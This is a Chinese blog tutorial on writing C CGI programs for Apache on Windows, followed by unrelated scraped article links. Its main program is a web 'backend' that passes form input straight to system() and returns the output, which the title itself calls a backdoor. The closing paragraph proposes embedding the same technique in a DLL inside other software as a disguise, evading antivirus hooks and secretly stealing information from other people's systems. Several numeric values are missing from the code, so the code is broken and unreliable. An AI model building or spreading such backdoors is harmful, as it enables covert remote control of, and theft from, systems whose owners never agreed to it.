C/C++学习到这儿,结合自己曾经学过的javasweb知识,现在让我们来看看,如何做一个CGI程序吧!

首先了解一下啥子叫CGI  :CGI全称是“公共网关接口”(Common Gateway Interface),HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序须运行在网络服务器上。    ----来自百度百科

1.  首先,我们需要 Apache server2.0(学习web,应该必须知道这个的,嘻嘻),安装好该软件之后,也许会出现很多的问题,导致打不开什么的。喵了个咪的,博主本人曾经也是搞了老半天,不过最后,还是搞定了!

(1). 其实主要情况,我遇到就两种,第一种,就是我们为了节约开机时间,将IIS关闭了,或者有些侠客直接将它卸载了! 所以导致打不开!

          -----------------------面对这种问题,下一个就好了!  Apache server2.0 需要 IIS 配合。

(2). 第二种就是80端口被占用了,这是最容易发生的情况没有之一。  解决的方法有很多,但是个人比较喜欢这样来搞。

cmd --》 net -ano   --->查看那些占用了80端口(一般是浏览器什么的居多) 几下他们的  PID ,然后在进程管理哪儿关闭就好了!

上面的Apache server 运行起来之后,就在浏览器中 敲入 localhost ,会显示一个

然后修改一个,http.cof文件

找到俩个位置:

第一个位置: #  AddHandler cgi-script .cgi   将这个语句的前面#注释符去掉

第二个位置:

<Directory "D:/Program Files/Apache Software Foundation/Apache2.2/cgi-bin">
AllowOverride None
Options None    -----将这个位置替换为:    Options Indexes ExecCGI
Order allow,deny
Allow from all

</Directory>

这两个位置配置好之后。就可以用C/C++编程了!

第一步:我们编写一个这样的文件

 #include<stdio.h>
int main(int args ,char * argv []) { printf("Content-type:text/html\n\n");
printf("hello world ! 我是cgi ");
getchar();
return ;
}

编译,生成一个这样的 hello.exe文件、生成之后,我们将hell.exe的属性改为 hello.cgi

然后将其放置到,自己安装的Apache server2.0文件中的cgi-bin文件下

在浏览器中,再输入,localhost/cgi-bin/hello.cgi  就可以看到这样的画面

          

2. 那么说了这么多,我们又该用c/c++写一个cgi来做后台,在背后来操作这个数据呢!

首先,我们需要写一个html,做个web的,对于这些当然,是再easy不过了! 为了节约时间,就写一个简陋点的html吧!!

诺,看!

 <html>
<head>
<title>后台</title>
</head> <body>
<h1> 后台界面</h1>
<form action="http://localhost/cgi-bin/gxjun.cgi" method="post" id=CGI > 请输入命令cmd: <input type="text" name="textlist" /><br><br>
<input type="submit" /><br>
</form>
<hr>
<body>
</html>

这个界面的运行的效果,如下图:

当然,这个当我们在做web的时候,这个是可以内嵌到,我们的项目中的!在于你将这个jsp放到哪个地儿啦!

最后就是重点了! 就像我上面写的cgi一样! 写一个下面这样的代码:

 #define  _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
//#include<stdexcept>
#include<windows.h> //以调用System为举例
void func(char ps []) {
// ps 为cmd命令
char *pl = strchr(ps,'='); //pl指向当前的位置
if(pl!=NULL) ps = ps + (pl-ps+);
printf("命令cmd = %s\n", ps);
char cmd[] = {'\0'};
char filename[] = "Gxjun.txt"; //暂定放置于当前目录。
sprintf(cmd,"%s > %s ",ps,filename); //将ps的内容写入cmd中
//生成了一条指令
//无论是否执行成功,都会生成一个Gxjun.txt文件
FILE *fp = NULL;
int tag=system(cmd);
if (tag == ) {
printf("命令格式错误!,请重新输入: ");
goto loop;
}
if ((fp = fopen(filename, "r")) == NULL) {
printf("没有发现文件!");
goto loop ;
} while (!feof(fp)) {
char str=fgetc(fp);
if (str == '\n') printf("<br><br>\n\n");
else if (str == ' ')printf("&nbsp;");
else
printf("%c",str);
} loop:
if (fp != NULL){
fclose(fp);
//并删除备份的文件
system("del Gxjun.txt");
}
return ;
} int main(int args ,char * argv []) { printf("Content-type:text/html\n\n");
//打印环境变量
printf("&nbsp;&nbsp;&nbsp;%s<br><br>", getenv("QUERY_STRING"));
char szPost[] = {'\0'};
gets(szPost); //获取输入
if ( strlen(szPost) < )
strcpy( szPost , "ipconfig" );
func(szPost);
getchar();
return ;
}

  编译之后,形成hello.exe改成将.exe属性改为hello.cgi文件,放置到cgi-bin目录中,当然,如果有服务器,之间放到服务器中就可以看!  就像这样

3.打开浏览器,输入类似这样的如下图:

输入一个  tasklist之后,得到这样一个页面显示:

输入: ipconfig 之后得到的画面:

好了! 关于,网站后台的知识,大概就这么多了! 写的比较操蛋! 当然,还可以无限的加精! 这个,得看,你能花多少时间在这个上面了! 做的精华了,你就是一个Hacker!    

  当然,其实这个技术,不仅仅仅限于web这方面,可以适应任何软件,我们可以生成一个lib/dll文件,然后#progma(lib,"**.lib");这样的宏命令,嵌入到我们的软件中,利用这个存在的软件,作为幌子,可以暗暗的操控被人的系统的!  当然也可以再写一个dll文件,来执行相应的操作的!这样的话,就需要加入很多的随机元素,比如文件生成不能再是Gxjun,txt,而应该是随机的生成,路径随意的生成,,当然这些都是很容易实现的,这样很容易躲过360的钩子这个流氓软件! 然后对别人 的软件偷偷的窃取信息什么的!! 当然,有360把关最底层,你所做的行为不可能逃过它的的监控,唯一的方法就是花钱,让360放行,等等! 当然,我们还是可以通过下载者自己放行就可以了(虽然会被拦截)!

----------------以上都是依据本屌实际操作可行,以及学习得到的经历,分享出来,供大家参考,如果有误,欢迎,严厉带着苛刻的指正!谢谢!------------------

c/c++----网站及其后门(CGI应用程序)的更多相关文章

  1. Microsoft Azure Web Sites应用与实践【4】—— Microsoft Azure网站的“后门”

    Microsoft Azure Web Sites应用与实践 系列: [1]—— 打造你的第一个Microsoft Azure Website [2]—— 通过本地IIS 远程管理Microsoft ...

  2. 菜鸟疑问之新建网站与新建web应用程序区别

    学习asp.net一定少不了这困惑:新建网站与新建web应用程序有什么区别? 新建web应用程序 新建网站 呵呵,其实从名字看一个是webApplication,一个是webSite.名字不同罢了? ...

  3. 集成自动化的条形码功能到internet应用程序,网站或自定义Java应用程序的条码控件Java Barcode Package

    Java Barcode Package控件是一款条码生成控件,包含所有的JavaBean,Applets,Servlets和类库可以使用于装有Java虚拟机的任何平台,包括Windows®, Lin ...

  4. ASP.NET网站与ASP.NET应用程序的区别

    我们使用VS做ASP.NET的时候,可以选择新建ASP.NET应用程序,同时也可以新建ASP.NET网站,两者有什么具体区别呢?今天真是很幸运,比别人多上了老师一节课,讲的是这两者之间的一些区别.我学 ...

  5. 基于JAVA WEB技术旅游服务网站系统设计与实现网上程序代写

    基于JAVA WEB技术旅游服务网站系统设计与实现网上程序代写 专业程序代写服务(QQ:928900200) 随着社会的进步.服务行业的服务水平不断发展与提高,宾馆.酒店.旅游等服务行业的信息量和工作 ...

  6. ubuntu chrome 无法从该网站添加应用,拓展程序或脚本

    昨天装好ubuntu 18.04 lts版本后,下载了chrome( 版本 68.0.3440.106)和SwitchyOmega,本来计划离线安装,结果提示“无法添加来自此网站的应用.扩展程序和应用 ...

  7. 搭建简单的CGI应用程序

    原文来源于<核心编程3>第10章web编程 一.静态文件+脚本文件 1.首先开启cgiweb服务器 python2 -m CGIHTTPServer 8000 看到如下反应 2.服务器目录 ...

  8. 【以前弄的老东西】DLLspy超犀利后门 (源代码+程序+使用手册+二次开发文档)

    这个玩意儿是很久之前的整的.一直没有做完,但是基本功能和框架都做好了,现在发出来,希望有能力的家伙一起完成.DLLspy,绝对免杀,隐藏,HTTP请求劫持,居家旅行,杀人放火必备良药.有时间我会继续开 ...

  9. 来选择一款适合你网站的CMS建站程序吧

    1:首页我们要搞清楚什么叫cms? ContentManagementSystem就是cms的全名,意思就是内容管理系统.cms整站系统是以文章系统为核心,增加用户需要的模块,如文章.图片.下载等,提 ...

随机推荐

  1. TreeList的使用

    添加列 TreeListColumn column = treeList1.Columns.Add(); column.Caption = @"建筑列表"; column.Visi ...

  2. Create XO Checker Game With Oracle Forms

    Created XO Checker game in Oracle Forms and sharing its FMB (source code) for reference so that you ...

  3. Virtualenv: 一个Python环境管理工具(windown版本)

    1.安装virtualenv 在安装virtualenv之前,我们需要安装至少有一个版本的python:因为virtualenv是python的一个第三方模块,必须基于python环境才能安装: 如果 ...

  4. [HDOJ4609]3-idiots(FFT,计数)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=4609 题意:n个数,问取三个数可以构成三角形的组合数. FFT预处理出两个数的组合情况,然后枚举第三个 ...

  5. [SAP ABAP开发技术总结]SD销售订单定价过程

    声明:原创作品,转载时请注明文章来自SAP师太技术博客( 博/客/园www.cnblogs.com):www.cnblogs.com/jiangzhengjun,并以超链接形式标明文章原始出处,否则将 ...

  6. CUBRID学习笔记 3 net连接数据库并使用cubrid教程示例

    接上文 数据库安装好后,也可以测试语句了. 下面我们用c#写一个控制台程序,连接数据库,并读取数据. 一 下载驱动  net版的下 CUBRID ADO.NET Data Provider 9.3.0 ...

  7. JUnit 简单的使用 (学习转载)

    JUnit4使用Java5中的注解(annotation),以下是JUnit4常用的几个annotation: @Before:初始化方法   对于每一个测试方法都要执行一次(注意与BeforeCla ...

  8. Redis基础知识之————使用技巧(持续更新中.....)

    一.key 设计技巧 把表名转换为key前缀 如, tag: 第2段放置用于区分区key的字段--对应mysql中的主键的列名,如userid 第3段放置主键值,如2,3,4...., a , b , ...

  9. c How to Make an Ascii Picture.

    import java.io.*; public class trans{ public static void main(String[] args){ try{ File inFile = new ...

  10. 集群--LVS的DR模型配置

    1.查看内核是否有IPVS内核模块 grep -i 'ip_vs' /boot/config-2.6.32-431.el6.x86_64